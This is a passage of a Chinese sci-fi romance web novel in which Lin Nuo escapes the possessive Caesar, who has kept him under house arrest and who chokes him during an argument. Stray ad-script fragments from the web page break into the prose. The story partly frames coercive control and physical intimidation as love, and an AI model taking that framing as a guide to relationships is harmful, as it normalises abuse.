中央军校的两名顾问是以太集团的走狗,主营业务是控制军校采买渠道,干预学员选拔,因集团内有特殊癖好的财阀数量不少,偶尔也会干些拉皮条之类的脏活。 恺撒目光后移,果然看见一个神情木怔的黑发少年。 他抬着那双墨色的眼睛看恺撒,眼神里除了惊喜,和对自身状态的微微困惑,就再没有其他。 干净如同未被联邦屏障沾染过的原始夜空。 “长官好。”少年也吃力地对他行礼。 而他低下头,看向手中的军备报告。 顾问们顺利把少年带走,他微微抬眼,从前方合金武械箱的倒影里,看见电梯门应声开启,又即将缓缓闭合。 ……而这正是最吊诡的地方。 他并非大众熟知的高尚英雄,而介入一个平庸Beta的命运,当下于他也毫无利益可言。 可是那双黑眸,无端在眼前反复闪现,又悄无声息地隐没。 反应过来时,他已经转身,大步追过去,抬手拦住电梯门。 “我可以借用一下他吗?”他微笑道。 一个隐秘的答案,被永恒藏在那个瞬间。 藏匿在他们最初相遇,和他得知林诺正是理想政治目标的短短空隙里。 往后无数运筹帷幄、真情假意,如同巨浪中的砂砾,层层叠叠地往上堆覆。 直到那个答案,像厚沙下一粒渺小的钻石,再也不被他记得。 飞艇从木星环城汹涌的雷暴云中驶过,降落在空中庄园的停机坪上,溅起大股水花。 恺撒拒绝让驾驶员扶他出舱。他一手抓着舰桥栏杆,一手按着伤处,略显蹒跚地挪进雨中。 隔着如注的雨线,他遥遥看见开启的庄园大门间,一个少年正冒着暴雨朝他跑来。 “小猫……” 恺撒出声叫他,随即低低咳喘。 他特别喜欢每次回到要塞,黑发小猫沿着舰桥朝他飞奔的模样。 于是被雨水浇湿的脸上,也不自觉露出笑意,“小猫!” 林诺正在别墅二层研究木星环城的公共交通,想知道是否可能会有一条航线,经过庄园上空。 停机坪方向突如其来响起震荡声,他起身眺望窗户,发现有一架私人飞艇,落在了停机坪上。 朝着大门冒雨狂奔时,他才看清是银发男人下了飞艇,正一步步朝庄园行来。 林诺微微一滞,脚下刹停。 但很快,他发现恺撒似乎受了伤,一手一直捂着胸肋处,另一手则勉强扶住大门边缘,总是从容稳重的步伐,此刻却踉跄迟缓,是他从未见过的狼狈模样。 木星上空掠过球状闪电,暴怒的雷鸣,甚至让母舰甲板都颤栗不已。 恺撒一时站立不稳,眼看就要跌倒在雨水中。 林诺本能地往前疾奔,抢在恺撒跌倒前,一把扶住他。 “好小猫……” 恺撒大半的身体重量靠在他身上,义眼低垂下来看他,脸上仍带着很高兴的笑。 被皮革手套包裹的手掌,缓慢抬起摩挲少年的侧脸,银发间的水珠,全都落在林诺的鼻尖上。 “……我就把这个……当做你的拥抱了。” 65.第 65 章 暴雨持续浇注。 别墅三楼的圆形浴室,亮起暖黄的灯。 林诺搀抱着银发男人,一步步挪进宽阔的圆形浴池里。 他们两人都湿透了,雨水混着恺撒身上的血,在浴池底部蜿蜒成河。 林诺打开保温烘干系统,带着热度的烘干灯,便在浴池上方嗡嗡运作起来。 在屡次想把恺撒按进治疗舱失败后,林诺不得不动用在军校学习的所有医疗知识,亲身上阵给恺撒包扎。 他在家务机器人的帮助下,用裁缝剪刀剪开了恺撒上半身军装,将被击碎的防弹背心拆下来。 大致确定恺撒身上有几处枪伤后,林诺一边开着军医护理系的网课,一边有点发颤地抓着针线,从头部开始处理恺撒的伤口。 “开始缝针前,我要给你用小剂量麻醉。” “我从不用麻醉。” “不用麻醉会很痛。我不是军医护理系学员,手法不会很专业。” “小猫是在心疼我吗?” “……” 林诺长长吐出一口气,拨开恺撒血淋淋的银发,将针尖刺入伤口边缘。 他在给恺撒缝合头皮上的伤,恺撒就抬着义眼凝望他,脸上一直有种快乐的神情。 林诺搞不懂他的快乐从何而来。 他脸上没有一丝笑容,跟恺撒说话的语气也是冷硬的,可恺撒任由林诺在自己头上缝缝补补,鼻尖轻蹭着林诺的领口,又开始沉迷地嗅闻。 “我回得太急了,没来得及给你买礼物。过几天……咳咳……我们就到金星去。我还是给你当辅助机甲师,这次小猫想试驾多久都行。不过确实要等上几天……小猫等我养好伤,好吗?” 林诺剪断线头,墨睫垂落,仅回以沉默。 即便到了此时此刻,他也不会想要欺骗恺撒。 几天前已经写好的分手信,此刻就静静躺在卧室的床头柜里,等着被取出。 在处理恺撒胸口的子弹时,林诺用扫描器检查了一下,发现这种老式弹头内还有未燃尽的能源晶,随时有再次爆燃的风险。 他停下手头动作,没什么表情地说: “你必须用麻醉。取出弹头的过程中,一旦周围肌肉痉挛,弹头就可能爆燃。” “我从不用麻醉。” “那就自己躺进医疗舱。没必要让我处理。” 林诺从浴池直起身,将医疗工具全部丢进机器人的托盘里。 但他站起到一半,手腕已经被恺撒用力扣住。 恺撒一边轻咳,一边缓缓勾紧他的指尖,低声道:“我用麻醉……” 按照网课视频,局部麻醉的纳米粒子注射量,应控制在4mg以下,全身麻醉则在8-12mg左右。 而像恺撒这样的小部位枪伤,理所当然应用局部麻醉。 林诺将纳米注射器刺进枪伤边缘的皮肉,慢慢屏住呼吸,开始注入纳米麻醉粒子。 刻度显示即将超过4mg时,他的黑眸轻微一闪,眼前闪过仍留在停机坪上的私人飞艇。 那是数日以来,唯一能被他接触到的空中载具。 恺撒没有注意刻度显示,而是一直在仰头看他。 仿佛林诺专注到鼻尖冒汗的神情,在他眼里是什么宇宙级美景似的。 刻度显示到达4mg。 林诺突兀地拔出针头,压紧针口,并迅速打开监测设备。 “正常呼吸。任何不适都要及时告诉我。” “嘶。” 恺撒被他粗暴的拔针手法,弄得轻抽冷气,又忍不住笑, “确实有点疼。小猫医官手也太重了吧?” 林诺全部注意力都在伤口上,耳边听恺撒说疼,动作下意识地放轻了。 他埋头吹了吹,皱着眉低声说:“再忍耐一下。等到麻醉粒子起效,就不会那么疼了……” 等他反应过来时,恺撒已经握住他的后颈,辗转吻上他的唇舌。 庄园上空滚过急促的闷雷,母舰再度在风暴中震颤。 浴池顶部的水晶灯轻微晃动,在不稳定的破碎光影中,林诺尝到了恺撒唇间的血腥味。 他为了处理恺撒胸口的伤,本就是蹲伏在恺撒腿上的,两手也拿满了医疗工具。 于是他稍稍停顿了一会儿,就小幅度扭头,用肘部抵开恺撒握住他后颈的手。 “回程的时候,我就一直在想。如果你没有感官超载症,没有区别其他Beta的机甲天赋……” 湿濡的唇瓣间,拉出染血的银丝。 恺撒抵住他的额头,声音很低地喃喃。 “我把你从要塞港口带回办公室,你在我的沙发上熟睡又醒来……之后我们或许就不会去机甲训练场。也许是你最喜欢的芝士焗肉餐厅?也许我们也会一起去南境……我不知道,林诺。我不知道……” 逐渐起效的麻醉剂,似乎一定程度上麻痹了恺撒坚固的理智,让他说出一些不知是真话还是胡话的东西来。 但即便认为恺撒是在说胡话,林诺还是垂着黑眸,一边擦拭工具,一边答复他: “我依然会去机甲训练场的。然后我会在几个月后的机甲联赛中一败涂地,进一步加深Beta不能承担特种作战位置的刻板印象。我绝不愿意失去我的天赋,哪怕它给我带来了十几年的感官超载折磨。不管芝士焗肉还是南境,都不可能让我甘心。” 恺撒勾起唇角,一边轻轻咳喘,一边低声说: “是的,你一直就是这样的孩子……你从没有改变过,对人,对理想,对你的‘道理’……你从来都一心一意,总是一根筋……” 林诺小心把血淋淋的弹头取出,这才松下肩膀,丢在机器人的托盘里。 恺撒提起他们的初遇,蓦地让他想起自己满心孺慕,像跟脚小猫一样追着恺撒学机甲的日子。 即便时过境迁,那段时光也是不可磨灭的美好回忆。 他冷若冰霜的俊脸上,开始不自觉显出一丝柔软来。 即便负伤虚弱,恺撒也迅速捕捉到了他的动摇。 不知怎么的,一种剧烈的恐慌正在心中蔓延,某种莫名的预感,迫使银发男人抚住林诺的侧脸,近乎乞求似的低声喃喃: “我们就从那个时候开始,重头再来……好不好?我们从宙斯要塞的办公层,到中央军校的训练场,再到南境去……这次换我来向小猫表白。现在‘计划’彻底结束,我们……会比从前更好的。好一百倍,一千倍……” 他的神智被麻醉剂、和林诺环绕的气息同时麻痹,险些把刚刚完成的“暴风眼计划”也说出来,幸好及时把话头掐住。 但林诺垂着那张俊美的脸,不回答也不笑,唇角始终倔强地向下抿着,只眼里有一丝明灭不定的光影。 “……你依然爱我吗?林诺?” 长时间不能得到回应,恺撒的义眼开始不安地颤动。 他捧起林诺的脸,希望他最喜欢的那双黑眸,能够再分些余光给他。 “你对我还是有感情的……对吗?就算只是一点点?” 依旧是长久的沉默。 恺撒眉梢轻抖,最终无法忍耐地吻上去,两人的唇舌间再次溢满血腥味。 但在辗转纠缠的唇舌间,他突然感觉少年的舌尖轻轻动了一下。 是一个难以察觉的、细微的回应动作。 银发男人的呼吸瞬间重了。 他借着母舰微晃的幅度,受伤的躯体竭力往前倾,最终成功将林诺压倒在浴池底部。 恺撒扣着林诺的手腕,不断忍耐喉间的咳意,近乎发狠地激烈吻他。 池边的托盘也被动作带翻,针管和医疗工具叮叮当当掉落,在他们身边骨碌碌地来回滚动。 “……你还爱着我,小猫。就算生我的气,就算不愿意跟我说话,但你依然爱我……只要这样就够了。我们还是可以、咳咳、重头再来的……” 林诺身上染满了恺撒的血。 他没有反抗,也没有将恺撒推开,舌尖被反复吮走的间隙,也依然轻轻回应着,于是换来更加狂风骤雨般的激吻。 他已决定即便到了此时此刻,也不会对恺撒说谎,所以,当恺撒问他是否对自己还有感情时,他也在沉默的回应中答复了。 但当恺撒终于难以压制伤痛,咳喘着被林诺扶回池边,他看见林诺用一种很冷静的神情询问他: “那么如果我说,我可以尝试重新开始,但我不愿意被你戴上锁链,不愿意随时被你关在庄园里。我不愿意时时刻刻留在你身边,你能接受吗?” 话音刚落,林诺的咽喉处,就传来了熟悉的窒息感。 恺撒的手掌,已经从林诺脸侧滑落,转而掐握住他的脖颈。 他自己不能意识到自己的下意识动作,只是佝偻着靠在池壁上,面上是一种竭力伪装出来的镇定。 “可是为什么呢?为什么小猫不愿意留在我身边?” 他唇角还有残留的笑意,但义眼一直在不稳定地震颤,“是不是因为你听谁说了什么?是不是因为……” 恺撒脑中一瞬闪过很多种可能性,他觉得可能性最大的,就是林诺揭穿了他的某桩谎言。 但是,会是哪一桩呢? 是他让不知名的Beta替死? 是他揭露了林诺的木星环城战神身份? 是他骗取林诺,让林诺在误以为帮助所有Beta的道路上,实则为自己的政治影响力添砖加瓦? 是他在分明觉得林诺所爱的不过是一个英雄幻影,却依然固执地、毫不退让地决定要骗到底、骗一辈子? 他一生信奉谎言需要真假难辨,最好连自己也分不清哪一句是真、哪一句是假。 最擅长精心设计的政客,往往要将真心也藏匿在谎言之下,用作谋求利益的武器。 然而时至今日,那些真假难辨的爱语,那些不计其数的桩桩谎言,却像庞大污浊的泥流,将一切吞没。 即便他能够从中挖掘,也永远不可能再向林诺证明—— 那枚看起来沾满污泥、形同顽石的丑陋物事,其实就是他藏匿已久的真心。 “……是杜兰德?还是副官?还是你看了星网的什么推测……” 手掌越攥越 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 紧。 男人唇边勉强牵动的笑,也带上了一丝惨然。 “小猫,不论你听说或看到了什么 ,你必须相信我——否则我是不会、咳、不会让你离开的……” 而这是林诺向恺撒提出的最后一个问题。 得到答案后。 他像是最终下定了某种决心。此后直至离开,都没再向恺撒多说一个字。 雨水狂烈地敲击窗棂,天际的闪电长蛇般蜿蜒,将卧室一遍遍刷得雪亮。 林诺帮恺撒包扎好伤口,将他扶进自己的卧室。 起身要走时,被男人的手臂从背后箍住。 “……留下来,小猫。” 林诺的脊背轻微绷紧了。 但他很快听到恺撒低语的下一句:“留下来陪着我……就像你从前说,会守着我入睡一样。” 恺撒上半身都是绷带,勉强靠在床头。但紧抓林诺的手,一丝一毫也不肯放松。 “就一小会儿……好吗?” 他看着林诺沉默的背影,某种愈发剧烈的恐慌感,开始支配他的内心。 但当他正准备暗中命令机器人加固庄园大门时,就看见少年弯腰脱了靴子,坐到床上来。 恺撒脸上瞬间闪过欣喜。 他强忍着伤痛,努力把林诺整个人都抱进被子里。 少年Beta独特的干净气息,很快溢满了整个被窝,也温热地填满恺撒心中所有焦渴。 他起初也只想把林诺搂在怀中入睡,但那双令人钟情的黑眼睛近在咫尺,男人情不自禁低头,一遍遍亲吻林诺的脸颊和双唇,渴求地喃喃许多情话。 甚至手掌也探进林诺的上衣,缓慢摩挲会让少年蹙着眉发颤的地方。 若不是伤痛限制,或许他就可以把林诺牢牢钉在床上,让他哪里也去不了,也再也说不出“不愿意留在你身边”这样的伤人话。 但任凭他的控制欲再强,到底还是血肉之躯。 母舰又一次在风暴中震荡时,恺撒抚握着林诺的后腰,缓缓沉入睡梦中。 等到恺撒呼吸平稳。 林诺才缓缓把他的手从腰后拿下。 他已经在脑中计划过很久,实施起来自然也有条不紊。先从烘干室拿到恺撒的军装,再去取上次带回来的全息易容装置。 他没有恺撒的骨形扫描报告,就对着浴室镜子,大致把发色调整成银白。 可林诺的脸部线条,相比恺撒实在稚嫩许多,易容装置也无法完全修改。 于是林诺尝试立起军装衣领,把帽檐压到鼻尖。 所幸他的身高和体态都跟恺撒相差不远,如果是不相熟的人远远观望,还是很容易看走眼的。 紧接着,他又返回庄园底层,将整座庄园的通讯网路切断,以免恺撒醒来后,第一时间命人追来。 恺撒的工作光脑在大衣内层,他只切断通讯功能,藏在机甲工坊深处。 而至于男人手腕上的情侣光脑,林诺在离开卧室前,已经轻轻从他手上取下。 他捏在手里,沉默片刻。 最终绷紧下颌,连同自己的情侣光脑一起,丢进了庄园的垃圾分解炉。 一切准备就绪。 庄园大门在暴雨中悄然开启。 临走前,林诺最后一次返回卧室。 银发男人依然虚握着手掌,因伤痛微微蹙着眉,但睡得很深。 林诺弯腰,从床头柜里取出自己写好的分手信,放在床对面的桌上。 被软禁在庄园的这些日子,他写了很多份信件废稿,从开始的愤怒、屈辱,近乎字字都在咆哮追问对方为何要这样对他,直到最后完全冷静,决定以一个真正成熟的成年人姿态处理这段感情。 他是因为不堪忍受恺撒的控制欲才决定分开,但不代表他会将恺撒从前对他的恩情一并忘记。因此他在信里,详细写了他对恺撒的深深感激,分析他的个人理想与恺撒性格的冲突,以及期待有一天,他们还能以推动变革的同伴身份合作。 他觉得排除性格缺陷的部分,恺撒本身是个比他更加稳重的成熟领袖。想必对方在读完这封信后,应该就会很快冷静下来,选择尊重和理解自己,并且同意和平分手。 这样一来,他们之间的关系,就会往对两人最好的方向发展。 林诺最后一次检查过卧室的温控系统,然后无声关上了门。 他披上恺撒的军装,打开易容装置,冒着雨往停机坪疾走。 所幸恺撒赶回庄园时,一个士官都没带在身旁,只有驾驶员在飞艇前端的驾驶舱里。 林诺上了飞艇,接通飞艇内线,然后强装镇定,用一种伤重时嘶哑的声线下令:“去港口。” 驾驶员就像个精密的机器人:“遵命,长官。” 停机坪上的大股雨水往外排离,飞艇缓缓起飞,发出沉闷的隆隆声,但被风暴和雷鸣掩盖。 林诺扶着被雨水冲刷的舱窗,往二层卧室的窗户张望。 那扇窗暂时没有什么动静。 他闭上眼睛。 飞艇预热完毕,骤然加速,冲上黑色的云霄。 66.第 66 章 木星上空的风暴密集滚涌,几乎如同黏浊的庞大实体。 飞艇在蜿蜒的电蛇间震荡前进。 林诺本以为在这种极端天气下,出行者寥寥无几。 然而当他偶然向舱窗望去,却看见无数同样在风暴中穿行的飞艇。 而他们竟然都不约而同,去往跟林诺一样的方向——木星港口。 在联邦,私人飞艇一般都由中产或高官拥有。 此情此景,配合的黑色的天幕,简直像是某种集体大逃亡。 究竟发生了什么事? 林诺凑得太近,在寒冷的舱窗上呼出一片白雾。 他这几天都被拘在庄园,光脑无法正常联网,自然也不知道外界发生了什么事。 他不知道,就在他给恺撒包扎伤口时,首席执政官的最终计票系统已经启动。 短短三个小时,恺撒·卡厄西斯的票数就已经打破联邦成立以来的最高历史记录。 飞艇穿过暴雨,降落至宙斯要塞的停机坪。 林诺在跳下飞艇前,考虑再三,朝驾驶员留下一个指令:“24小时后,返回空中庄园待命。” “是,长官。” 毫无疑问的是,恺撒专用的停机坪距离木星港口,有一大段闲杂人等不可能使用的内部通道。 为了避免被巡逻士兵当场击毙,他竖起军装衣领,压低帽檐,尽管心跳急促,但步伐却始终沉缓有力。 途径一些想要寒暄的高级将领,他也有意做出在接听通讯的样子,好让对方无法拦下他。 而当士官们朝他驻足行李,他就模仿恺撒微微颔首,或只竖起手指,要求他们噤声,免得引来更多人注意。 林诺就这样畅通无阻,顺利进入恺撒的办公层。 恺撒在办公室的门禁系统录入过他的虹膜,但为了防止被恺撒追踪,林诺在门边蹲守许久,趁着清洁机器人开门进入时,再悄无声息溜了出去。 下了电梯,隔着一小段要塞舰桥,极度繁忙的木星港口已经近在眼前。 林诺把手扶上领口,预备穿过舰桥后,趁乱混进港口洗手间换装。 然而肩后却被迟疑地拍了拍,副官的声音自后方传来:“头儿?你的伤就养好了?” ……林诺整个人都僵住了。 他无法复刻恺撒的样貌,顶多只是改了发色和瞳色,脸部棱角捏得清晰些。 鉴于银发是恺撒的标志性特征,要塞内军衔比他低的将领也只敢匆匆一瞥,林诺才能顺利走到现在。 但是,像副官这种常年与恺撒密切接触的人,只需一眼就能看破他的伪装。 林诺勉强镇定心神,依然用之前的老办法,偏过头佯装用耳麦通讯,并背对副官,指了指会议区,意思是让他过去等,等通讯结束后,自己会回来找他。 谁曾想副官压根不听指令,在要塞舰桥上一路跟,甚至屡次试图打断他通讯: “啊不是头儿,你才刚被枪击,现在连警卫队都不带是否太大胆?至少要带杜兰德吧——哎!说曹操曹操到,杜兰德!” 舰桥对面,响起金属战靴踏地的沉重闷响,也让林诺心里咯噔一声,彻底沉入谷底。 杜兰德带着一队警卫队成员,正从舰桥另一头走来。 他们的狼头看不出表情,但尖耳朵都同时动了动,明显有些惊愕,显然没有事先接到恺撒要离开庄园的命令。 林诺站在舰桥中间,被两头堵着,前面是警卫队,后面是副官。 而他也明白,杜兰德他们是恺撒在星陨战役时的旧部,无论如何都不可能背叛恺撒。 “……计票结果已经出来了,以太那边……” 副官还在喋喋不休,却突然止住话头。 他和杜兰德几人都是Alpha,Alpha对高等级Alpha的信息素有天然的警惕心,平时他都是硬着头皮扛着恺撒的信息素干活的。 然而此时此刻,尽管那件元帅大衣上仍残留淡淡的S级信息素,但元帅大衣下包裹的身躯,却全然干净无味。 他悚然抬眸,再度看向面前的“恺撒”。 “恺撒”也正看着他,拳头微微发着抖,眼神已经接近乞求。 杜兰德还在朝他们靠近,眼看就要走到林诺身边。 他似乎也隐约察觉到了信息素的差距,眼灯闪烁两下,刚想上前细闻。 就见副官突然退后,带林诺朝舰桥另一头走去: “我看还是得去会议区聊。计票结果已经出来了,可不能在这时候掉链子……” 他们离警卫队越来越远,兜兜转转,终于找到一间离要塞出口最近的会议室。 副官始终没看林诺,而是故作忧愁地嘟囔道:“中午真不该吃那份魔鬼辣烤面。头儿,要不你先到会议室等我,我去去就来……” 他背对林诺,往洗手间方向走,然而脚步却一直犹疑不定,似乎下一秒就会转身,扑过来按住林诺。 但最终,他还是没有回头,并低声说:“我会……去很久的。” 等副官的背影消失在走廊尽头,林诺转身就往要塞出口走去。 他快速脱下军装,改换恺撒的伪装,并从木星环城战后设立的旧衣物捐赠处,草草找了件衣服穿上。 他把光脑毁了,自然也无法用银行账户购买船票,但他仍记得在庄园养伤时,他曾屡次刷到过木星环城的战后物资支援通道。 物资搬运是很苦的差事,因此支援通道一直急缺民间志愿者,但志愿搬运工可以跟随运输船,往返于木星环城和地球之间。 林诺使用路边的公共光脑,联系上志愿者招募办,并得知下一班运输船,将会在6小时后启程。 6个小时。 林诺缩在港口大厅角落避雨,脑中盘算再三。 庄园的通讯网络被切断了,而他也把恺撒的光脑藏在最深处,让驾驶员24小时后再返回庄园,至少能给自己争取一天一夜的时间。 本来他还可以把驾驶员返回的时间再度延长——如果恺撒不是带着伤回来的,他一定会延长到三天到五天左右,反正他临走前还特地检查过庄园的生活供给。 但撕过上百封分手信,他如今已经比举着玫瑰花盆时冷静太多。 他并没有恨恺撒到想让对方伤重死在庄园的地步,即便被副官险些撞破,他最担心的也还是不告而别又被抓回去,会让他落进非常尴尬、很“不酷”的境地里。 至于恺撒的怒火,则根本没什么好怕的——因为恺撒绝不可能再像他毫无防备时那样把他铐上床。 他已经把庄园所有类似道具都毁去,并在给恺撒包扎后,偷偷往靴子里藏了好几支便携麻醉剂。 他并不认为恺撒还会对他做出什么比边打架边干个几天几夜更疯的事。 那已经是他对“疯”这个概念的定义上限。 他笃信,只要恺撒再敢这样折辱他,他一定会坚决反击到底。 第5个小时。 雨势渐渐变小,但逃往港口的私人飞艇依然络绎不绝。 林诺活动发麻的腿,起身进入人群,去往物资运输船的停泊点。 “嗡——” 木星港口发出一声尖利的鸣笛。 港口大厅的所有出入口都被同时封锁,港口上空的跃迁点,则被毫无预兆地关停。 无数私人飞艇顿时像乱套的无头苍蝇,在黑色的雨水中疯狂打转。 广播里响起甜美的机械声:“……跃迁点出现技术故障,晚间所有通往地球港口的航班,都将延迟起飞……对公众造成的不便……” 林诺挤在怨声载道的人潮中,黑眸始终沉默巡视四周。 他起初真以为是技术故障。木星环城港口的客流量极其庞大,要说截停数千万无辜乘客,只为了对一个单方面分手的前任围追堵截,他认为既过分蔑视恺撒,也过分高估了自己。 然而很快,他就看见有大量便衣士兵混入人群——作为军校生,他当然可以一眼认出谁是平民谁是军人。 他们声称需要通缉叛军残党,随后就开始挨个搜查身份id,检查行李。 林诺清清楚楚看见,士兵们在搜查的时候还会顺便翻一下领口,仔细检查对方的脖子位置。 他拉高衣领,挡住脖子上的易容装置,只觉得脊背一阵阵发寒。 士兵们还在朝他不断接近。 林诺回过头,看到一群举着工作木牌的游行队伍。 借着木牌的遮掩,他沿着墙根,慢慢往港口的洗手间摸过去,没有引起任何人注意。 但退进洗手间后,他就再也没有头绪了。 镜中虚假的面孔在微微闪烁,这是易容装置即将断电的先兆。 所有运输船也被截停,而他原本的计划是混入运输船后,自然可以使用船上的公共电源和光脑。 “林诺……?” 背后传来试探的人声。 林诺整个人毛发炸起,猛转身时,尾椎骨还重重撞上台沿。 但身后的人并不是便衣士兵,也不是他记忆里见过的任何人。 对方见他回头,一张陌生的脸上,出现了大喜过望的神情。 “你快跟我走。这里说话不安全。” 林诺不动,黑眸警惕地瞪着他,“你是谁?” “我是南境林家的——我的意思是,” 对方说,同时拉下衣领,关停脖子上的易容装置, “我是林成彬的朋友。还记得我吗?你小叔生日那天,我在你家楼下。” 林诺皱眉看他一会儿,确实有些眼熟。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>但他还是不能轻易确定,手腕转动两下,挣开对方:“证明你和我小叔的关系。” 又追问:“什么是南境林家?” 陌生人叹了口气,用后背抵住洗手间门,开始拨打一个通讯。 门外士兵们的脚步声来来回回,林诺浑身都在紧绷着,甚至随时提防对方是在给恺撒报信。 然而通讯接通,光屏亮起,林诺的瞳孔就剧烈震颤起来:小叔浑身都是绷带,正坐在轮椅上,满脸焦急地看他。 “小、小叔……你——” 小叔果断道:“有什么话见面再问。小宝,现在马上跟着陈九叔走,他是我最信得过的手下。我说过,木星港口有我们家的人,他们会护送你来见我。” 林诺缓慢蹙眉,审视这个令他极其陌生的小叔。 门外的脚步声渐渐接近,而他很冷静地说:“说一件只有我和小叔知道的事情。” 小叔像是料到他会这样说,先拉下衣领,让他确认自己没有佩戴易容装置,然后语速很快地说: “你8岁那年想在工坊地下搞秘密基地,我帮你一起挖坑结果把工坊半边都挖塌了。我跟你开紧急会议商量怎样瞒过大哥嫂子,但你说你一人做事一人当,最后被大哥打了两顿屁股也没把我供出来。以及因为秘密基地最终没有建成,你只跟我说过进出口令,是‘不要再叫我小宝了!’” 洗手间的门被士兵咚咚敲响,门外的人冷冷道: “元帅下令,搜查叛军残党,请公民配合检查。” 林诺不再迟疑,目光转向面前的“陈九叔”,用口型轻声对他说:请帮帮我。 陈九叔攀上洗手台,抬手将天花板上的一块金属板取下。 紧接着,他弯腰抄住林诺腋下,将他一路举进天花板上方的管道区域,塞给他一支紫光电筒,便悄无声息地合上金属板。 林诺打开紫光电筒,霎时照出管道间斑驳的荧光箭头,是用特殊试剂涂上去的。 他叼着电筒往前爬,心中疑云一重又一重。 如此缜密的安排,无论如何也不像他那乐天派小叔能计划出来的,再加上什么“南境林家”、什么“陈九叔”——他脑中千头万绪,但匍匐前进的速度丝毫没有减慢,因为理智完全明白,当下最紧要的事就是先离开。 沿着管道爬行将近一个小时,他毫无预兆地跌进一处废弃的要塞核心炉。 但好在炉底已经提前放置好充气垫,他在垫子上弹了又弹,只听见四周的人都松了一口气,低低议论:“……这下没事了,总算接到小宝了……” 港口搜查在三小时后结束,一无所获的士兵部分返回要塞,部分登上飞艇,追往地球方向。 “技术故障”被排除后,无数私人飞艇便争先恐后飞向高空,一艘并不起眼的民用航班,也静悄悄地在跃迁点消失。 “我们去哪里?” 林诺说,他站在一群姿态沉稳的中年男女中间,尽管已经比自己的同龄人成熟许多,但看起来依然像头刚脱绒的小豹子, “回地球去接小叔吗?” “陈九叔”看了他一眼,又看看自己的同伴,似乎在考虑该如何向林诺解释清楚。 最后,他显然决定把一切解释权交给林成彬,林诺每问一句,他就只答一句:“你的小叔在南境,我们也正在前往南境。” “为什么是南境?” “因为地球如今对你来说非常危险。” “为什么?” “因为恺撒·卡厄西斯一旦得到秘密调查局,”陈九叔说,“他第一个要杀的人就会是你。” 林诺喉结微微滚动,黑眸满是茫然。 他怎样也没法把“分手”和“被杀”这两件事联系在一起,于是薄唇翕动两下,说出的还是:“为什么?” 对面一位女Alpha看了陈九叔一眼,陈九叔便低头沉默,不再作答。 她走过来,看了看林诺的个子,只说:“你长大了。当年在他们的葬礼上,你还是个在林成彬怀里哭的小豆丁。现在你能健康安全地长大,我想他们在泉下有知,也会很欣慰的。” 飞艇一阵震动,泊入南境港口。 恰逢南境的星球风暴也在肆虐不休,林诺只觉得像是从一团黑色的风暴里,步入了另一团黑色的风暴中,恍惚间还以为他们只是在木星上空兜了个圈。 舱门开启,舰桥咔哒咔哒向外延展,直到跟港口平台接驳。 林诺走出飞艇,一眼看见舰桥尽头坐着轮椅的身影。 小叔满身满脸都是烧伤的痕迹,正在风暴中焦急地等待着。但看见林诺安然无恙地走出,他还是微微一震,眸中露出极大的宽慰和动容。 “去吧,孩子。”女Alpha说,“他会告诉你有关恺撒·卡厄西斯的一切的。” 67.第 67 章 “……恺撒,当你看见这封信的时候,我已经离开庄园。(增补号:我给管家机器人设置过治疗口令,换药的时候可以让它放镇静射线)请不要再来找我。我希望你读完这封信,能够理智看待我们之间的问题……” “嘶拉。” 整整四页还未读完的信纸,顷刻间成了碎片。 恺撒左手牢牢攥着那团碎纸,右手迅速去摸手腕上的光脑,却发现光脑早已不翼而飞。 于是,他拇指下移,按住手腕内侧的某个位置。 皮肤组织下方,亮起某段微光,并光速连通警卫队的全体成员。 第一舰队机甲特种部队的成员,都有植入皮肤下方的微型量子通讯器,方便在最恶劣的战斗环境中互相联络。 “杜兰德,封锁港口。” 他的义眼彻底被眉弓阴影覆盖,声音嘶哑、发狠地,几乎是咬着自己牙根,一个一个把这些音节挤出来。 紧接着,他又迅速给另一个警卫队成员下令:“为我搭建通讯中转站。联络地球十三舰队原驻扎地。” “长官!” 另一个坏消息从耳麦中传来,“之前一直无法联系上您,林成彬已在四天前失踪!” 恺撒抬眸,一眼看见卧室墙上的外衣已经不翼而飞。 目光侧移,停机坪空无一物。 “排查港口所有乘客,找出佩戴易容装置的人。以及从我的专用停机坪到要塞出口,所有目击过‘我’出现的人,我要他们立刻到议事厅等候。” 恺撒冷声下达一连串命令,“我马上就到。” 带有枪伤的左胸剧痛非凡。他分不清是因为麻醉药效已过,还是别的什么原因。 当他蹒跚着到了另一个房间,好不容易抓到一个全息时钟,算算时间,林诺已经离开近6个小时。 “……是麻醉剂,” 恺撒抓紧门框,如同一头咆哮的狮子,对自己的警卫队成员嘶声低吼,“他胆敢——对我使用过量的麻醉剂……如果不是这样——” ……如果不是这样,他根本没有理由深睡至此,就连林诺在他伤重时弃他而去,都不能察觉。 “队长,请您保持冷静。” 一个警卫队成员说,“对港口的封闭搜索已经开始,一旦有消息,我们会马上向您报告。” “杜兰德为何不在线上?” “他在通传您封锁港口的命令后,就立刻去追击丹特上校了。” 恺撒微微眯眼,但暂且没功夫追问更多。 他在等待新的飞艇到来时,按着胸口的伤,一层层往下搜寻,企图再找到一些蛛丝马迹。 搜寻到地下工坊时,他意外发现垃圾分解炉仍在嗡嗡运作,似乎是在分解什么不易分解的东西。 扑过去打开舱门,在高热的分解射线之间,他亲眼看见两枚情侣手环缓缓熔解,逐渐成为看不清形状的泥状物。 “砰!” 他一拳砸上停机按钮。但分解炉降温需要时间,高热射线中断后,炉内的余温,仍在让两枚手环缓缓熔化。 于是,他又从墙边一把抓下液氮喷射器,对准炉内急喷。 呛人的浓烟散去,一片狼藉的炉底,依然只剩两滩再也辨不出形状的尤铁制品。 恺撒拎着液氮喷射器,缓慢而踉跄地向后退去。 讽刺的是,他并没退几步,就“砰”地撞上了工坊的刻印机。 黑发小猫兴致勃勃地抹着鼻子,说要把定情后的第一个礼物送给他。结果因为没有经验,连情侣手环要刻印对方名字都不懂。 于是,他把满脸涨红的恋人牵下来,指尖交扣着,在手环上刻下彼此的名字。 少年发间微红的耳尖,和回望时湿润的黑眸似乎就在眼前。 但是一阵脏污的浓雾略过,那个身影与那对眼眸,便一同消失得无影无踪。 ……冷心冷肺,铁石心肠的叛徒。 他对待自己,与对待只有区区几次教导之缘的阿拉里克,竟没有丝毫不同。 仿佛那些爱语和承诺,只不过是少年人一时兴起,才随意说出。 